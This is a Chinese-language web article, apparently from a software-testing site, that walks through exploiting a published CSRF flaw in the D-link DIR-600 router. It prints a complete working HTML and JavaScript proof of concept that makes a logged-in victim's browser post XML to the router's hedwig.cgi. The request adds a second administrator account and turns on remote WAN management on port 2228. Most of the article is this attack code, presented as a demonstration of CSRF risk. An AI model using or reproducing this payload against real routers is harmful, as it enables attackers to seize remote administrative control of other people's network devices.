软件测试

收藏 / 订阅

D-link路由器CSRF漏洞利用详解,软件测试

  1,介绍

  本文的目的是展示CSRF漏洞的危害,以D-link的DIR-600路由器(硬件版本:BX,固件版本:2.16)的CSRF漏洞为例。

  D-link的CSRF漏洞已经是公开的,本文将详细描述一下整个D-link CSRF漏洞的利用,如何通过CSRF漏洞实现远程管理访问D-link路由器。

  2,CSRF漏洞说明

  如果某些request请求中没有csrf token或不需要密码授权,会存在CSRF漏洞,该漏洞允许攻击者伪造登录用户发送请求,因此可以导致用户执行攻击者想要的操作请求。

  通过D-link 管理面板的CSRF漏洞,攻击者可以做以下操作:

  @1,添加一个新的管理帐号;

  @2,启用路由器的远程管理;

  @3,ping特定的机器;此操作只需要登录路由器就可以实现,需要知道路由器的WAN IP地址。

  3,PART1:给路由器增加一个新的管理帐号

  需要两个request请求来完成

  REQUEST1:

<html>

<body>

<script>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "http://192.168.0.1/hedwig.cgi", true);

xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");

xhr.setRequestHeader("Content-Type", "text/plain; charset=UTF-8");

xhr.withCredentials = "true";

var body = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>"+

"

<postxml>"+

"<module>"+

"<service>DEVICE.ACCOUNT</service>"+

"<device>"+

"<account>"+

"<seqno/>"+

"<max>1</max>"+

"<count>2</count>"+

"<entry>"+

"<name>admin</name>"+

"

<password>==OoXxGgYy==</password>"+

"<group>0</group>"+

"<description/>"+

"</entry>"+

"<entry>"+

"<name>admin2</name>"+

"

<password>pass2</password>"+

"<group>0</group>"+

"<description/>"+

"</entry>"+

"</account>"+

"<session>"+

"<captcha>0</captcha>"+

"<dummy/>"+

"<timeout>180</timeout>"+

"<maxsession>128</maxsession>"+

"<maxauthorized>16</maxauthorized>"+

"</session>"+

"</device>"+

"</module>"+

"<module>"+

"<service>HTTP.WAN-1</service>"+

"<inf>"+

"<web>2228</web>"+

"<weballow>"+

"<hostv4ip/>"+

"</weballow>"+

"</inf>"+

"</module>"+

"<module>"+

"<service>HTTP.WAN-2</service>"+

"<inf>"+

"<web>2228</web>"+

"<weballow>"+

"<hostv4ip/>"+

"</weballow>"+

"</inf>"+

"</module>"+

"</postxml>";

xhr.send(body);

}

</script>

<form action="#">

<input type="button" value="Submit request1" onclick="submitRequest();" />

</form>

</body>

</html>

喜欢 (88) or分享 (0)
首页  上一页  12345678910  下一页 尾页 共73条记录 2/10

网友评论:7

  1. 小编 1年前 (2015-03-22) #5

    软件测试入门 :mrgreen:

留言主题 *

您的姓名 *

电子信箱:

电话号码:

请你留言: